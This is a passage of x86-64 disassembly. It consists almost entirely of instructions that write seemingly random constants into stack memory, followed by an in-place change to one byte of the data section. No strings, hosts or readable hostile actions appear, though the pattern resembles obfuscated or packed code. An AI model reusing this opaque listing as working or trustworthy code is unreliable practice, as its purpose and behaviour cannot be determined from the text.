mov eax, 0xa7d
mov word [rsp + 0xc20], ax
mov byte [rsp + 0xd0], 0xbe
mov dword [rsp + 0x3224], 0x6bc90502
mov eax, 0x942
mov word [rsp + 0xc24], ax
movabs rax, 0x22350568851e25f5
mov qword [rsp + 0x5c18], rax
mov dword [rsp + 0x3228], 0x55f0e814
mov eax, 0xd98
mov word [rsp + 0xc28], ax
mov dword [rsp + 0x322c], 0x3143b98f
mov dword [rsp + 0x3230], 0xc10f703
movabs rax, 0xe11503738c60f0fd
mov qword [rsp + 0x5c20], rax
mov eax, 0x1728
mov word [rsp + 0xc2c], ax
mov dword [rsp + 0x3234], 0xf1aff39f
movabs rax, 0x1ae8298661dd842b
mov qword [rsp + 0x5c28], rax
mov eax, 0xd5
mov word [rsp + 0xc30], ax
mov byte [rsp + 0xd1], 0x59
movabs rax, 0xe24ca2eb7e7bef3
mov qword [rsp + 0x5c30], rax
mov byte [rsp + 0xd2], 0x7e
mov dword [rsp + 0x3238], 0x376936aa
mov dword [rsp + 0x323c], 0x17a61c9b
mov eax, 0x4b97
mov word [rsp + 0xc34], ax
movabs rax, 0x3c410d517b8670ea
mov qword [rsp + 0x5c38], rax
mov eax, 0x592
mov word [rsp + 0xc38], ax
mov byte [rsp + 0xd3], 0xc4
mov eax, 0x2782
mov word [rsp + 0xc3c], ax
mov byte [rsp + 0xd4], 0xb2
movabs rax, 0xa5ce9a97b43014
mov qword [rsp + 0x5c40], rax
movabs rax, 0x4f6b7ade1bc30dcb
mov qword [rsp + 0x5c48], rax
movabs rax, 0x705cfc76b2b92431
mov qword [rsp + 0x5c50], rax
movabs rax, 0x536132754b3fcf38
mov qword [rsp + 0x5c58], rax
movabs rax, 0x684c502336f85f33
mov qword [rsp + 0x5c60], rax
mov byte [rsp + 0xd5], 0x7b
mov eax, 0xbac
mov word [rsp + 0xc40], ax
movabs rax, 0x79076a499618af7
mov qword [rsp + 0x5c68], rax
mov byte [rsp + 0xd6], 0xd4
mov dword [rsp + 0x3240], 0x1cac5f17
mov eax, 0x951
mov word [rsp + 0xc44], ax
movabs rax, 0xb8e6bd4fa9f8429d
mov qword [rsp + 0x5c70], rax
mov eax, 0x6e1
mov word [rsp + 0xc48], ax
mov eax, 0x407d
mov word [rsp + 0xc4c], ax
movabs rax, 0x229bc8d9a5b42abe
mov qword [rsp + 0x5c78], rax
mov dword [rsp + 0x3244], 0x785d3998
mov eax, 0xe4c
mov word [rsp + 0xc50], ax
mov eax, 0x4ae0
mov word [rsp + 0xc54], ax
mov dword [rsp + 0x3248], 0x54160ea8
mov byte [rsp + 0xd7], 0x12
mov byte [rsp + 0xd8], 0x49
mov dword [rsp + 0x324c], 0x7d0a1492
movabs rax, 0x1db8922ca7b0064c
mov qword [rsp + 0x5c80], rax
mov byte [rsp + 0xd9], 0x3a
mov dword [rsp + 0x3250], 0x39ceda65
mov eax, 0x6f0f
mov word [rsp + 0xc58], ax
mov byte [rsp + 0xda], 0xb6
movabs rax, 0x7b6aed30085577d7
mov qword [rsp + 0x5c88], rax
mov dword [rsp + 0x3254], 0x2336d2a2
mov byte [rsp + 0xdb], 0xad
mov eax, 0xee7
mov word [rsp + 0xc5c], ax
movabs rax, 0x7024e5098c2c4b30
mov qword [rsp + 0x5c90], rax
movabs rax, 0xa6136edf4635ebd2
mov qword [rsp + 0x5c98], rax
mov dword [rsp + 0x3258], 0x7ddb89f0
mov dword [rsp + 0x325c], 0x51a16a08
mov eax, 0x9c6
mov word [rsp + 0xc60], ax
mov eax, 0x37b7
mov word [rsp + 0xc64], ax
mov eax, 0x3c58
mov word [rsp + 0xc68], ax
movabs rax, 0x65b8ccbec129e0c3
mov qword [rsp + 0x5ca0], rax
mov eax, 0x1d5
mov word [rsp + 0xc6c], ax
mov dword [rsp + 0x3260], 0x2db24618
mov eax, 0x5bc2
mov word [rsp + 0xc70], ax
movabs rax, 0x722d7d5c0b08cd89
mov qword [rsp + 0x5ca8], rax
movabs rax, 0x3184c967580a4194
mov qword [rsp + 0x5cb0], rax
mov byte [rsp + 0xdc], 0xb8
mov byte [rsp + 0xdd], 0x22
mov byte [rsp + 0xde], 0x7b
mov byte [rsp + 0xdf], 0x43
movabs rax, 0x192cfe39dc7ca229
mov qword [rsp + 0x5cb8], rax
mov eax, 0x75be
mov word [rsp + 0xc74], ax
movabs rax, 0x6598001743eafbf0
mov qword [rsp + 0x5cc0], rax
mov eax, 0x3af
mov word [rsp + 0xc78], ax
mov eax, 0xebf
mov word [rsp + 0xc7c], ax
mov dword [rsp + 0x3264], 0x3f68bbda
mov eax, 0x4d3
mov word [rsp + 0xc80], ax
movabs rax, 0x5b66ecacf575fbc0
mov qword [rsp + 0x5cc8], rax
mov byte [rsp + 0xe0], 0xab
mov dword [rsp + 0x3268], 0xd6763ea
mov eax, 0x315
mov word [rsp + 0xc84], ax
mov byte [rsp + 0xe1], 0x24
movabs rax, 0xc41e532d43fe4419
mov qword [rsp + 0x5cd0], rax
mov byte [rsp + 0xe2], 0x28
mov byte [rsp + 0xe3], 0x24
mov dword [rsp + 0x326c], 0x62034d16
mov eax, 0x35d9
mov word [rsp + 0xc88], ax
mov byte [rsp + 0xe4], 0x20
mov byte [rsp + 0xe5], 3
mov dword [rsp + 0x3270], 0x1797bfa4
movabs rax, 0x3667dfcd8998457e
mov qword [rsp + 0x5cd8], rax
mov byte [rsp + 0xe6], 0x29
mov eax, 0x41a
mov word [rsp + 0xc8c], ax
mov dword [rsp + 0x3274], 0x59ff5643
mov dword [rsp + 0x3278], 0x2b4614b0
movabs rax, 0x75e9db3451449bca
mov qword [rsp + 0x5ce0], rax
movabs rax, 0x4823a8a86c7928c
mov qword [rsp + 0x5ce8], rax
mov dword [rsp + 0x327c], 0x5d697b1c
movabs rax, 0x476f92e2476ec12d
mov qword [rsp + 0x5cf0], rax
mov byte [rsp + 0xe7], 0x1c
mov dword [rsp + 0x3280], 0x41d0be43
mov byte [rsp + 0xe8], 0xc4
mov dword [rsp + 0x3284], 0x6c9a0ec4
mov dword [rsp + 0x3288], 0x20022c74
movabs rax, 0x7171cb3165e3b967
mov qword [rsp + 0x5cf8], rax
mov dword [rsp + 0x328c], 0x665f5edc
movabs rax, 0x7b1308ed074f43f3
mov qword [rsp + 0x5d00], rax
mov byte [rsp + 0xe9], 0x18
movabs rax, 0xfd6f6495b06c65f1
mov qword [rsp + 0x5d08], rax
mov eax, 0x952
mov word [rsp + 0xc90], ax
mov eax, 0x76c3
mov word [rsp + 0xc94], ax
mov dword [rsp + 0x3290], 0x6f9d12a0
mov eax, 0xf17
mov word [rsp + 0xc98], ax
mov eax, 0xad
mov word [rsp + 0xc9c], ax
mov eax, 0xf5a
mov word [rsp + 0xca0], ax
mov byte [rsp + 0xea], 0x65
mov eax, 0x209
mov word [rsp + 0xca4], ax
mov byte [rsp + 0xeb], 0x69
mov byte [rsp + 0xec], 0xf3
mov byte [rsp + 0xed], 0xaf
movabs rax, 0xcf41978591812e7
mov qword [rsp + 0x5d10], rax
mov byte [rsp + 0xee], 0x45
movabs rax, 0xff3d8660cd7f6f09
mov qword [rsp + 0x5d18], rax
movabs rax, 0x15014ab9a07c8944
mov qword [rsp + 0x5d20], rax
movabs rax, 0x33dd62f318e2876
mov qword [rsp + 0x5d28], rax
movabs rax, 0x93cc2a5eff63c80
mov qword [rsp + 0x5d30], rax
mov dword [rsp + 0x3294], 0x720803b8
mov byte [rsp + 0xef], 0xa
mov dword [rsp + 0x3298], 0xdaf4ebb8
mov byte [rsp + 0xf0], 9
movabs rax, 0x701d12ab99533b80
mov qword [rsp + 0x5d38], rax
mov dword [rsp + 0x329c], 0x525cf4fe
mov dword [rsp + 0x32a0], 0x6da05cd4
mov eax, 0xe8e
mov word [rsp + 0xca8], ax
movabs rax, 0x5ccc8eaae872306d
mov qword [rsp + 0x5d40], rax
mov dword [rsp + 0x32a4], 0x3ae7d306
mov dword [rsp + 0x32a8], 0x481bf7d4
mov eax, 0xa3d
mov word [rsp + 0xcac], ax
mov eax, 0x773c
mov word [rsp + 0xcb0], ax
mov dword [rsp + 0x32ac], 0xcba43324
movabs rax, 0x966182872d7f5c5b
mov qword [rsp + 0x5d48], rax
mov byte [rsp + 0xf1], 8
movabs rax, 0x7767c2c884c3c555
mov qword [rsp + 0x5d50], rax
mov eax, 0x3a8a
mov word [rsp + 0xcb4], ax
mov eax, 0x343
mov word [rsp + 0xcb8], ax
movabs rax, 0x64a6213c78414601
mov qword [rsp + 0x5d58], rax
movabs rax, 0x8801dd179168a57a
mov qword [rsp + 0x5d60], rax
mov eax, 0x22d1
mov word [rsp + 0xcbc], ax
movabs rax, 0xbeaaedf9bfe21406
mov qword [rsp + 0x5d68], rax
mov eax, 0xaa5
mov word [rsp + 0xcc0], ax
mov eax, 0x476a
mov word [rsp + 0xcc4], ax
mov dword [rsp + 0x32b0], 0xe1bafecd
mov dword [rsp + 0x32b4], 0x510a3c4b
mov byte [rsp + 0xf2], 0x73
mov dword [rsp + 0x32b8], 0x3d138efe
mov eax, 0x4ad5
mov word [rsp + 0xcc8], ax
movabs rax, 0x66349ed1a39ae4f8
mov qword [rsp + 0x5d70], rax
mov dword [rsp + 0x32bc], 0x363ef70f
mov byte [rsp + 0xf3], 0x54
movabs rax, 0x34ca243df43f8488
mov qword [rsp + 0x5d78], rax
mov byte [rsp + 0xf4], 0xf4
mov eax, 0x1b89
mov word [rsp + 0xccc], ax
mov byte [rsp + 0xf5], 0x2a
mov eax, 0xeef
mov word [rsp + 0xcd0], ax
movabs rax, 0x7ab839ecad5ad720
mov qword [rsp + 0x5d80], rax
mov dword [rsp + 0x32c0], 0x19360187
mov eax, 0x16d9
mov word [rsp + 0xcd4], ax
movabs rax, 0x24599bd0675ad109
mov qword [rsp + 0x5d88], rax
movabs rax, 0xe24cce4f140527c1
mov qword [rsp + 0x5d90], rax
mov dword [rsp + 0x32c4], 0x372dd51b
movabs rax, 0x3ab369e402293b2f
mov qword [rsp + 0x5d98], rax
movabs rax, 0x2873efcd8039c725
mov qword [rsp + 0x5da0], rax
mov byte [rsp + 0xf6], 0x1f
mov dword [rsp + 0x32c8], 0x6bb32ec2
mov byte [rsp + 0xf7], 0x19
movabs rax, 0x2d04191693623ef1
mov qword [rsp + 0x5da8], rax
movabs rax, 0x7ce2293e811a6ce3
mov qword [rsp + 0x5db0], rax
mov dword [rsp + 0x32cc], 0xb7919a8
mov eax, 0x995
mov word [rsp + 0xcd8], ax
mov byte [rsp + 0xf8], 0x10
mov eax, 0xb51
mov word [rsp + 0xcdc], ax
mov dword [rsp + 0x32d0], 0x30e1ec3
mov eax, 0x4f1a
mov word [rsp + 0xce0], ax
mov dword [rsp + 0x32d4], 0x265f3daf
mov byte [rsp + 0xf9], 0x48
mov eax, 0xa3d
mov word [rsp + 0xce4], ax
mov dword [rsp + 0x32d8], 0xc405b05e
mov byte [rsp + 0xfa], 0x33
mov byte [rsp + 0xfb], 0xaf
movabs rax, 0x2653c6b18c3e0454
mov qword [rsp + 0x5db8], rax
mov dword [rsp + 0x32dc], 0x1355331b
mov eax, 0x386
mov word [rsp + 0xce8], ax
movabs rax, 0x3dfc88ba4e3f53cb
mov qword [rsp + 0x5dc0], rax
movabs rax, 0xb4ce33cfa980083
mov qword [rsp + 0x5dc8], rax
mov dword [rsp + 0x32e0], 0x38ec1ba5
movabs rax, 0x2654fbacf03ebdf9
mov qword [rsp + 0x5dd0], rax
mov eax, 0x51f2
mov word [rsp + 0xcec], ax
mov dword [rsp + 0x32e4], 0x31d21a84
movabs rax, 0xb73ed24dbf67489
mov qword [rsp + 0x5dd8], rax
movabs rax, 0x4efb2983260af749
mov qword [rsp + 0x5de0], rax
mov dword [rsp + 0x32e8], 0x421bef1c
mov dword [rsp + 0x32ec], 0xc120f41
mov eax, 0xd50
mov word [rsp + 0xcf0], ax
mov byte [rsp + 0xfc], 0x57
movabs rax, 0x854a93b572b05adc
mov qword [rsp + 0x5de8], rax
movabs rax, 0x294fd9628cd66de4
mov qword [rsp + 0x5df0], rax
movabs rax, 0x7266c5dd93b1eb58
mov qword [rsp + 0x5df8], rax
mov byte [rsp + 0xfd], 0x23
mov byte [rsp + 0xfe], 0xd4
movabs rax, 0x7fab95078898736d
mov qword [rsp + 0x5e00], rax
mov eax, 0x32ce
mov word [rsp + 0xcf4], ax
mov byte [rsp + 0xff], 0xe0
mov dword [rsp + 0x32f0], 0x67f433e8
mov byte [rsp + 0x100], 0x28
mov byte [rsp + 0x101], 0x7d
mov dword [rsp + 0x32f4], 0xd379a3ea
mov dword [rsp + 0x32f8], 0x6061d427
mov eax, 0x1b8
mov word [rsp + 0xcf8], ax
movabs rax, 0x6a0341e40777f880
mov qword [rsp + 0x5e08], rax
mov dword [rsp + 0x32fc], 0x364dca2b
movabs rax, 0x9104ab25dbdb3ed5
mov qword [rsp + 0x5e10], rax
mov eax, 0x426
mov word [rsp + 0xcfc], ax
movabs rax, 0x733848a6823ff9d
mov qword [rsp + 0x5e18], rax
mov byte [rsp + 0x102], 0x99
mov byte [rsp + 0x103], 0xb0
mov dword [rsp + 0x3300], 0x33fc9743
mov byte [rsp + 0x104], 0x7d
mov byte [rsp + 0x105], 0xf4
mov byte [rsp + 0x106], 0x61
mov eax, 0x44bf
mov word [rsp + 0xd00], ax
mov dword [rsp + 0x3304], 0x56fa8618
mov byte [rsp + 0x107], 0x78
mov eax, 0xc99
mov word [rsp + 0xd04], ax
mov eax, 0xd56
mov word [rsp + 0xd08], ax
mov eax, 0x6254
mov word [rsp + 0xd0c], ax
movabs rax, 0x64db6de8a835f517
mov qword [rsp + 0x5e20], rax
mov byte [rsp + 0x108], 0x62
mov eax, 0xad6
mov word [rsp + 0xd10], ax
mov dword [rsp + 0x3308], 0x28cdf4f2
mov dword [rsp + 0x330c], 0xa5654914
mov byte [rsp + 0x109], 0x56
mov eax, 0x23d5
mov word [rsp + 0xd14], ax
mov byte [rsp + 0x10a], 0x5e
movabs rax, 0xb5c82f61117f314
mov qword [rsp + 0x5e28], rax
mov eax, 0x9e1
mov word [rsp + 0xd18], ax
movabs rax, 0x19dddd853fb274ce
mov qword [rsp + 0x5e30], rax
mov byte [rsp + 0x10b], 0x3d
mov dword [rsp + 0x3310], 0xe399cd0a
mov dword [rsp + 0x3314], 0xf1222837
movabs rax, 0xfcfebe3747a39e5a
mov qword [rsp + 0x5e38], rax
mov byte [rsp + 0x10c], 0x25
movabs rax, 0xae42404b25d917d5
mov qword [rsp + 0x5e40], rax
mov dword [rsp + 0x3318], 0x253b657c
mov dword [rsp + 0x331c], 0x2a8e1b2a
mov eax, 0xbe2
mov word [rsp + 0xd1c], ax
mov dword [rsp + 0x3320], 0x620904d2
mov eax, 0x7a0e
mov word [rsp + 0xd20], ax
movabs rax, 0xe7b624b1096da703
mov qword [rsp + 0x5e48], rax
movabs rax, 0x3d3d51f3afff9b12
mov qword [rsp + 0x5e50], rax
mov byte [rsp + 0x10d], 0x47
movabs rax, 0xdc6fd1f7c0b9dc7
mov qword [rsp + 0x5e58], rax
mov byte [rsp + 0x10e], 0x6e
mov byte [rsp + 0x10f], 0x78
mov eax, 0xc2
mov word [rsp + 0xd24], ax
mov dword [rsp + 0x3324], 0x39c62e8b
mov eax, 0x639
mov word [rsp + 0xd28], ax
mov dword [rsp + 0x3328], 0x57a37038
mov byte [rsp + 0x110], 0x37
movabs rax, 0x5ae582fbf481bfe7
mov qword [rsp + 0x5e60], rax
mov eax, 0xd4f
mov word [rsp + 0xd2c], ax
mov dword [rsp + 0x332c], 0x7391b953
movabs rax, 0x52321ba167bef1de
mov qword [rsp + 0x5e68], rax
mov dword [rsp + 0x3330], 0x684df2b4
mov dword [rsp + 0x3334], 0x77d0c488
mov eax, 0x20
mov word [rsp + 0xd30], ax
mov byte [rsp + 0x111], 0x3f
mov dword [rsp + 0x3338], 0x2b95e707
mov eax, 0x509
mov word [rsp + 0xd34], ax
movabs rax, 0x56b4e751ab99fd8c
mov qword [rsp + 0x5e70], rax
mov byte [rsp + 0x112], 0x42
mov byte [rsp + 0x113], 0x73
mov eax, 0x4987
mov word [rsp + 0xd38], ax
movabs rax, 0x7b7af4d44389fc2b
mov qword [rsp + 0x5e78], rax
mov byte [rsp + 0x114], 0x78
mov eax, 0x5a5b
mov word [rsp + 0xd3c], ax
mov byte [rsp + 0x115], 0x37
mov dword [rsp + 0x333c], 0x4f263f80
mov dword [rsp + 0x3340], 0x5a50ca24
mov dword [rsp + 0x3344], 0xfdf7ae6e
mov eax, 0xead
mov word [rsp + 0xd40], ax
mov byte [rsp + 0x116], 0x3c
movabs rax, 0x52e207c900580602
mov qword [rsp + 0x5e80], rax
mov eax, 0x3efd
mov word [rsp + 0xd44], ax
mov byte [rsp + 0x117], 0x5a
mov byte [rsp + 0x118], 0x33
mov byte [rsp + 0x119], 0x66
mov dword [rsp + 0x3348], 0x8ffcd5b0
mov eax, 0xa0c
mov word [rsp + 0xd48], ax
movabs rax, 0x4cbd6fbfa18e7e6
mov qword [rsp + 0x5e88], rax
movabs rax, 0x44714e5db972c09
mov qword [rsp + 0x5e90], rax
mov byte [rsp + 0x11a], 0x78
mov eax, 0x1aa4
mov word [rsp + 0xd4c], ax
movabs rax, 0x104e60d9311ad789
mov qword [rsp + 0x5e98], rax
mov dword [rsp + 0x334c], 0x21af0432
movabs rax, 0x49c29b99c771e13
mov qword [rsp + 0x5ea0], rax
mov eax, 0x27e
mov word [rsp + 0xd50], ax
mov byte [rsp + 0x11b], 0xf6
movabs rax, 0x7cdeea0e5b791c37
mov qword [rsp + 0x5ea8], rax
mov eax, 0x156
mov word [rsp + 0xd54], ax
movabs rax, 0x117d0e2af16aca24
mov qword [rsp + 0x5eb0], rax
mov dword [rsp + 0x3350], 0xf09d3b73
movabs rax, 0x2cdf46b0d227b6da
mov qword [rsp + 0x5eb8], rax
mov dword [rsp + 0x3354], 0x3afe1ba3
mov eax, 0x3779
mov word [rsp + 0xd58], ax
mov eax, 0xc1f
mov word [rsp + 0xd5c], ax
mov dword [rsp + 0x3358], 0x506834e1
mov dword [rsp + 0x335c], 0x6839d19
mov eax, 0x899
mov word [rsp + 0xd60], ax
mov byte [rsp + 0x11c], pe_nt_image_headers64
mov dword [rsp + 0x3360], 0xfad14549
mov dword [rsp + 0x3364], 0x4235bc82
mov byte [rsp + 0x11d], 0x51
mov eax, 0x2dc
mov word [rsp + 0xd64], ax
mov eax, 0xea5
mov word [rsp + 0xd68], ax
mov byte [rsp + 0x11e], 0x72
mov byte [rsp + 0x11f], 0xec
mov byte [rsp + 0x120], 0x74
movabs rax, 0xf9a3a2afca77091c
mov qword [rsp + 0x5ec0], rax
mov eax, 0xb15
mov word [rsp + 0xd6c], ax
mov dword [rsp + 0x3368], 0x977942e8
mov byte [rsp + 0x121], 0x79
mov byte [rsp + 0x122], 0x2e
movabs rax, 0x7f55ebfd41fc33df
mov qword [rsp + 0x5ec8], rax
mov eax, 0x643
mov word [rsp + 0xd70], ax
mov byte [rsp + 0x123], 0x74
mov dword [rsp + 0x336c], 0x9b688bfc
mov byte [rsp + 0x124], 8
mov dword [rsp + 0x3370], 0x5a937db8
movabs rax, 0x189cb677ab2330c4
mov qword [rsp + 0x5ed0], rax
mov eax, 0x232
mov word [rsp + 0xd74], ax
mov eax, 0x5425
mov word [rsp + 0xd78], ax
mov byte [rsp + 0x125], 0x5c
mov byte [rsp + 0x126], 0x9e
mov dword [rsp + 0x3374], 0xeeec16e3
mov eax, 0x403
mov word [rsp + 0xd7c], ax
mov dword [rsp + 0x3378], 0x6f5839fa
mov eax, 0x4394
mov word [rsp + 0xd80], ax
mov dword [rsp + 0x337c], 0xa80ade09
mov dword [rsp + 0x3380], 0xe8c2cfff
movabs rax, 0xb4c61ca94170c993
mov qword [rsp + 0x5ed8], rax
mov dword [rsp + 0x3384], 0x38738b0a
mov byte [rsp + 0x127], 0x65
movabs rax, 0xb5e7023c39a43b3
mov qword [rsp + 0x5ee0], rax
movabs rax, 0x29d8084bdcede369
mov qword [rsp + 0x5ee8], rax
mov byte [rsp + 0x128], 0x75
mov eax, 0x6085
mov word [rsp + 0xd84], ax
mov dword [rsp + 0x3388], 0x5725c8e3
movabs rax, 0x1640ade65c6494fc
mov qword [rsp + 0x5ef0], rax
mov byte [rsp + 0x129], 0x4a
movabs rax, 0x1b3ffc7c6c73b9ea
mov qword [rsp + 0x5ef8], rax
mov byte [rsp + 0x12a], 0x68
mov eax, 0x455
mov word [rsp + 0xd88], ax
mov eax, 0x55a
mov word [rsp + 0xd8c], ax
mov dword [rsp + 0x338c], 0xde32bcc6
mov byte [rsp + 0x12b], 0x60
movabs rax, 0xfa35be12a14fe4f
mov qword [rsp + 0x5f00], rax
mov dword [rsp + 0x3390], 0x3f347f9c
mov eax, 0x1b0f
mov word [rsp + 0xd90], ax
movabs rax, 0x8ce15db64e887939
mov qword [rsp + 0x5f08], rax
movabs rax, 0xdd02a7ca795abe96
mov qword [rsp + 0x5f10], rax
movabs rax, 0x78f15df80cc8e994
mov qword [rsp + 0x5f18], rax
movabs rax, 0x36609095098c661b
mov qword [rsp + 0x5f20], rax
mov byte [rsp + 0x12c], 0xb5
mov eax, 0x310b
mov word [rsp + 0xd94], ax
mov byte [rsp + 0x12d], 2
mov byte [rsp + 0x12e], 0x53
mov dword [rsp + 0x3394], 0xc8859916
mov byte [rsp + 0x12f], 0x59
mov eax, 0xa25
mov word [rsp + 0xd98], ax
mov eax, 0x10c
mov word [rsp + 0xd9c], ax
movabs rax, 0x2938089143dc2c92
mov qword [rsp + 0x5f28], rax
movabs rax, 0x2a9aca3d5ca7b017
mov qword [rsp + 0x5f30], rax
mov eax, 0x6b37
mov word [rsp + 0xda0], ax
mov eax, 0x679e
mov word [rsp + 0xda4], ax
mov dword [rsp + 0x3398], 0x64599091
mov dword [rsp + 0x339c], 0x644fbda7
mov byte [rsp + 0x130], 0x1a
mov eax, 0xa73
mov word [rsp + 0xda8], ax
mov dword [rsp + 0x33a0], 0x1d2e587f
mov byte [rsp + 0x131], 0xdf
mov eax, 0x3aa
mov word [rsp + 0xdac], ax
mov byte [rsp + 0x132], 0xd3
mov dword [rsp + 0x33a4], 0x7529774b
mov byte [rsp + 0x133], 0xdb
movabs rax, 0x218f4a0b8226a5c0
mov qword [rsp + 0x5f38], rax
mov dword [rsp + 0x33a8], 0x504fd00c
mov eax, 0x5a8
mov word [rsp + 0xdb0], ax
mov eax, 0x800
mov word [rsp + 0xdb4], ax
movabs rax, 0x1dd73233e5562b95
mov qword [rsp + 0x5f40], rax
mov eax, 0xff3
mov word [rsp + 0xdb8], ax
mov byte [rsp + 0x134], 0x61
movabs rax, 0x705128957b5b5705
mov qword [rsp + 0x5f48], rax
mov dword [rsp + 0x33ac], 0x27d75b03
mov dword [rsp + 0x33b0], 0xaec8078f
movabs rax, 0x47cdf9794d23ea32
mov qword [rsp + 0x5f50], rax
mov eax, 0x3ad
mov word [rsp + 0xdbc], ax
mov byte [rsp + 0x135], 0xda
mov byte [rsp + 0x136], 0x70
mov dword [rsp + 0x33b4], 0x3e868b36
mov dword [rsp + 0x33b8], 0xa3e40596
mov byte [rsp + 0x137], 0xc4
mov eax, 0x7fa6
mov word [rsp + 0xdc0], ax
mov dword [rsp + 0x33bc], 0x2555f84e
mov eax, 0xd7
mov word [rsp + 0xdc4], ax
mov dword [rsp + 0x33c0], 0x1ae48603
mov eax, 0x2605
mov word [rsp + 0xdc8], ax
mov dword [rsp + 0x33c4], 0x46228b10
mov dword [rsp + 0x33c8], 0x73bbcea5
movabs rax, 0x16897d5c9537707a
mov qword [rsp + 0x5f58], rax
mov byte [rsp + 0x138], 0x2f
movabs rax, 0x9600b4eb232ee441
mov qword [rsp + 0x5f60], rax
movabs rax, 0x651c0621c71f28b
mov qword [rsp + 0x5f68], rax
mov dword [rsp + 0x33cc], 0xcc1218c5
mov dword [rsp + 0x33d0], 0x595a07c4
movabs rax, 0x7dabe2340af7a6f6
mov qword [rsp + 0x5f70], rax
mov byte [rsp + 0x139], 0x40
movabs rax, 0x1b2eaa338f464d15
mov qword [rsp + 0x5f78], rax
mov eax, 0xe4b
mov word [rsp + 0xdcc], ax
mov byte [rsp + 0x13a], 0xa5
mov dword [rsp + 0x33d4], 0xc45abef8
mov byte [rsp + 0x13b], 0x2b
mov byte [rsp + 0x13c], 0x2c
mov dword [rsp + 0x33d8], 0x5a1ccf4f
movabs rax, 0x34e58875c802cd47
mov qword [rsp + 0x5f80], rax
mov dword [rsp + 0x33dc], 0x83d638aa
movabs rax, 0x31b80e8485f7f46d
mov qword [rsp + 0x5f88], rax
mov dword [rsp + 0x33e0], 0x2520f362
mov byte [rsp + 0x13d], 0x19
mov eax, 0x554b
mov word [rsp + 0xdd0], ax
movabs rax, 0x234971338a83e9c8
mov qword [rsp + 0x5f90], rax
movabs rax, 0xea3c87716e787b6f
mov qword [rsp + 0x5f98], rax
mov byte [rsp + 0x13e], 0x37
mov dword [rsp + 0x33e4], 0x743b0c71
movabs rax, 0xbf7b512a6eb850d3
mov qword [rsp + 0x5fa0], rax
mov eax, 0x9d3
mov word [rsp + 0xdd4], ax
movabs rax, 0x46cfa32ef1c34391
mov qword [rsp + 0x5fa8], rax
mov dword [rsp + 0x33e8], 0x451bd7
movabs rax, 0x12b6c7356e1d0d87
mov qword [rsp + 0x5fb0], rax
mov byte [rsp + 0x13f], 0xa0
mov dword [rsp + 0x33ec], 0x630f69c5
mov byte [rsp + 0x140], 0x1e
mov byte [rsp + 0x141], 0x78
movabs rax, 0xe2da1a74f8aeb735
mov qword [rsp + 0x5fb8], rax
mov dword [rsp + 0x33f0], 0x55eee25d
mov eax, 0x27b0
mov word [rsp + 0xdd8], ax
mov byte [rsp + 0x142], 6
movabs rax, 0x8932e87a94a22b97
mov qword [rsp + 0x5fc0], rax
movabs rax, 0xd42781a195aca7cb
mov qword [rsp + 0x5fc8], rax
mov byte [rsp + 0x143], 0x65
mov byte [rsp + 0x144], 0xa2
movabs rax, 0xa0dbae849a9a614e
mov qword [rsp + 0x5fd0], rax
movabs rax, 0x324ccd17187ab39e
mov qword [rsp + 0x5fd8], rax
mov dword [rsp + 0x33f4], 0x5143d6fc
mov byte [rsp + 0x145], 0xf3
mov byte [rsp + 0x146], 0x47
mov byte [rsp + 0x147], 0xb6
mov byte [rsp + 0x148], 0x65
mov byte [rsp + 0x149], 0x33
mov eax, 0x937
mov word [rsp + 0xddc], ax
mov eax, 0xa5c
mov word [rsp + 0xde0], ax
mov dword [rsp + 0x33f8], 0x1edb4af2
movabs rax, 0x305db8e76646b7c6
mov qword [rsp + 0x5fe0], rax
mov byte [rsp + 0x14a], 0x63
mov byte [rsp + 0x14b], 0x1d
movabs rax, 0xf0b4d7a4eddf7491
mov qword [rsp + 0x5fe8], rax
mov dword [rsp + 0x33fc], 0xa3bb95b0
mov eax, 0xdbb
mov word [rsp + 0xde4], ax
mov dword [rsp + 0x3400], 0xfe77fc02
mov dword [rsp + 0x3404], 0x24639a1c
mov dword [rsp + 0x3408], 0x29392b0
mov byte [rsp + 0x14c], 0x46
mov byte [rsp + 0x14d], 0x2e
movabs rax, 0xca63a465cafe18be
mov qword [rsp + 0x5ff0], rax
mov dword [rsp + 0x340c], 0xcc0a561b
mov dword [rsp + 0x3410], 0x23f6e73
mov dword [rsp + 0x3414], 0x5620a5b4
movabs rax, 0x1042376db116ec2b
mov qword [rsp + 0x5ff8], rax
movabs rax, 0xfb9df812b8b86b8c
mov qword [rsp + 0x6000], rax
mov dword [rsp + 0x3418], 0x995631d7
mov dword [rsp + 0x341c], 0x6c5f3fc5
mov byte [rsp + 0x14e], 0x11
movabs rax, 0x5a5636326185dab5
mov qword [rsp + 0x6008], rax
mov byte [rsp + 0x14f], 0x3f
movabs rax, 0x52fb2cee2a88a599
mov qword [rsp + 0x6010], rax
movabs rax, 0x49ae72d9a167b211
mov qword [rsp + 0x6018], rax
mov dword [rsp + 0x3420], 0x449b75f0
mov byte [rsp + 0x150], 0xb5
mov eax, 0x723e
mov word [rsp + 0xde8], ax
movabs rax, 0x32b75adc23ffa1ce
mov qword [rsp + 0x6020], rax
mov byte [rsp + 0x151], 0xf0
mov dword [rsp + 0x3424], 0x2d720c2c
movabs rax, 0x764a2b1775708b85
mov qword [rsp + 0x6028], rax
mov dword [rsp + 0x3428], 0x966ebfe5
mov byte [rsp + 0x152], 0xc
mov dword [rsp + 0x342c], 0x3b1407c2
mov eax, 0x2fe
mov word [rsp + 0xdec], ax
mov dword [rsp + 0x3430], 0xa11b3b64
mov eax, 0x37a8
mov word [rsp + 0xdf0], ax
mov byte [rsp + 0x153], 0x44
mov dword [rsp + 0x3434], 0xaec6c0bd
mov eax, 0xd62
mov word [rsp + 0xdf4], ax
movabs rax, 0x48265055262c3b05
mov qword [rsp + 0x6030], rax
mov eax, 0x846
mov word [rsp + 0xdf8], ax
movabs rax, 0x1b69ea9658055f49
mov qword [rsp + 0x6038], rax
mov dword [rsp + 0x3438], 0x85f012c5
mov byte [rsp + 0x154], 0xe0
mov eax, 0x1fd
mov word [rsp + 0xdfc], ax
mov eax, 0x688
mov word [rsp + 0xe00], ax
mov eax, 0x392
mov word [rsp + 0xe04], ax
movabs rax, 0x4512a8a1def76869
mov qword [rsp + 0x6040], rax
mov dword [rsp + 0x343c], 0x1e9901bc
mov eax, 0x7348
mov word [rsp + 0xe08], ax
mov dword [rsp + 0x3440], 0x2e3089ae
movabs rax, 0x3d44fe96d6d608be
mov qword [rsp + 0x6048], rax
mov byte [rsp + 0x155], 0xef
mov byte [rsp + 0x156], 0x1c
mov byte [rsp + 0x157], 0x4a
movzx eax, byte [section..data]
sub eax, 0xe7
mov byte [section..data], al
mov byte [rsp + 0x158], 0x29
